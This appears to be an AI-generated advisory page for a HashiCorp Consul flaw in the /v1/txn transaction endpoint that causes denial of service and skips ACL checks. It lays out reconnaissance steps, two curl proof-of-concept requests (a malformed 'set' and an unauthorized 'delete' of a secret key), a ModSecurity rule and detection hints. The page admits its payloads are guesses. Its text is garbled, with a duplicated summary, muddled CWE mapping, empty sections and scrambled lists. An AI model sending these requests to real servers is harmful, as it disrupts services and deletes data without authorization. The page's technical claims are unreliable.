CVE-2026-135265 — Hashicorp Consul — CWE-862
HashiCorp Consul Community Edition and Consul Enterprise up to 2.1.0 are vulnerable to a denial of service in the server RPC transaction endpoint that may allow a malformed transaction request to crash Consul servers. The endpoint also did not consistently enforce ACL authorization for every operation type it accepts. This vulnerability (CVE-2026-135265) is fixed in Consul Community Edition 2.1.1 and Consul Enterprise 2.1.1 and 1.21.20.
HashiCorp Consul Community Edition and Consul Enterprise up to 2.1.0 are vulnerable to a denial of service in the server RPC transaction endpoint that may allow a malformed transaction request to crash Consul servers. The endpoint also did not consistently enforce ACL authorization for every operation type it accepts. This vulnerability (CVE-2026-135265) is fixed in Consul Community Edition 2.1.1 and Consul Enterprise 2.1.1 and 1.21.20.
🎯 What is this vulnerability?
CVE-2026-135265 is a critical Denial of Service (DoS) and Authorization Bypass vulnerability in HashiCorp Consul (Community Edition and Enterprise) versions up to 2.1.0.
The vulnerability consists of two distinct technical flaws in the Server RPC Transaction Endpoint:
1. Missing Input Validation (DoS Vector): The endpoint fails to properly validate the structure and content of transaction requests. A malformed transaction request (e.g., containing invalid JSON, recursive structures, or unexpected data types) triggers an unhandled exception or panic in the Consul server process, causing the service to crash. This aligns with CWE-862 (Missing Authorization) in the context of the second flaw, but the DoS aspect is primarily a failure of robustness/input validation (often categorized under CWE-20 or CWE-125 in broader contexts, but here linked to the endpoint's lack of resilience).
2. Inconsistent ACL Enforcement (Authorization Bypass): The endpoint does not consistently enforce Access Control List (ACL) authorization for every operation type it accepts. This means that certain transaction operations can be executed by users who lack the specific permissions required for those operations, or potentially by unauthenticated users if the ACL check is skipped entirely for specific transaction verbs.
CVSS Vector Analysis: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- AV:N / AC:L / PR:N / UI:N: The vulnerability is exploitable over the network with low complexity, requires no privileges (unauthenticated), and requires no user interaction.
- A:H (Availability High): The primary impact is a complete loss of availability (crash) of the Consul server.
- Service Identification: An attacker scans for open ports 8500 (HTTP API) or 8300 (RPC).
- Version Fingerprinting: * Query the
C:N / I:N: No direct confidentiality or integrity impact is scored in the base vector, however*, the ACL bypass component implies a potential for unauthorized state changes (Integrity) if the transaction modifies KV store data or service registrations. The CVSS score of 7.5 reflects the guaranteed DoS impact.
⚡ Attack Chain
1. Discovery & Reconnaissance
/v1/status/leader or /v1/agent/self endpoints.
* Check the Version field in the JSON response.
* If the version is <= 2.1.0, the target is vulnerable.
Note:* Consul often exposes version info in HTTP headers or the /v1/agent/self endpoint without authentication.2. Exploitation
The attack targets the Transaction Endpoint. In Consul, this is typically accessed via the HTTP API at/v1/txn (POST) or via the internal RPC interface. The CVE specifies "server RPC transaction endpoint," which in Consul's architecture is exposed via the HTTP API for external clients and via gRPC/RPC for internal agents.Illustrative PoC (HTTP API):
Note: The exact payload structure that triggers the crash is not publicly disclosed in the CVE description. The following is an illustrative example of a malformed transaction request that could trigger a panic in a vulnerable Go-based service.
# Illustrative PoC: Sending a malformed transaction request
# The 'Ops' array contains an invalid operation type or malformed data
curl -X POST http://<CONSUL_HOST>:8500/v1/txn \
-H "Content-Type: application/json" \
-d '{
"Ops": [
{
"Verb": "set",
"Key": "test/key",
"Value": "malformed_payload_that_triggers_panic",
"Flags": 999999999,
"Session": "invalid_session_id",
"CAS": -1
}
]
}'ACL Bypass Exploitation:
An attacker with a low-privilege token (or no token, if ACLs are misconfigured or the check is skipped) can attempt a transaction operation that should be restricted.
# Illustrative PoC: Attempting a restricted operation without proper ACL
# If the ACL check is bypassed for this transaction type, the operation succeeds
curl -X POST http://<CONSUL_HOST>:8500/v1/txn \
-H "Content-Type: application/json" \
-H "X-Consul-Token: <LOW_PRIVILEGE_TOKEN>" \
-d '{
"Ops": [
{
"Verb": "delete",
"Key": "sensitive/config/secret"
}
]
}'3. Post-Exploitation
🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade (Primary Fix)
2. Workarounds (If Immediate Upgrade is Not Possible)
SecRule REQUEST_URI "@rx ^/v1/txn$" \
"id:100001,\
phase:1,\
deny,\
status:403,\
msg:'Blocked malformed transaction request',\
logdata:'%{REMOTE_ADDR}',\
setvar:tx.blocked_txn=1"Note:* WAF rules are not a complete solution as the vulnerability is in the server-side processing of the request.
3. Detection
/v1/txn endpoint.
/v1/txn from untrusted sources.
* Malformed JSON payloads in transaction requests.
* High frequency of transaction requests (potential DoS attempt).
⚠️ Urgency
Recommendation:
[🤖 CVE Professor AI Security Engine]
FOFA Query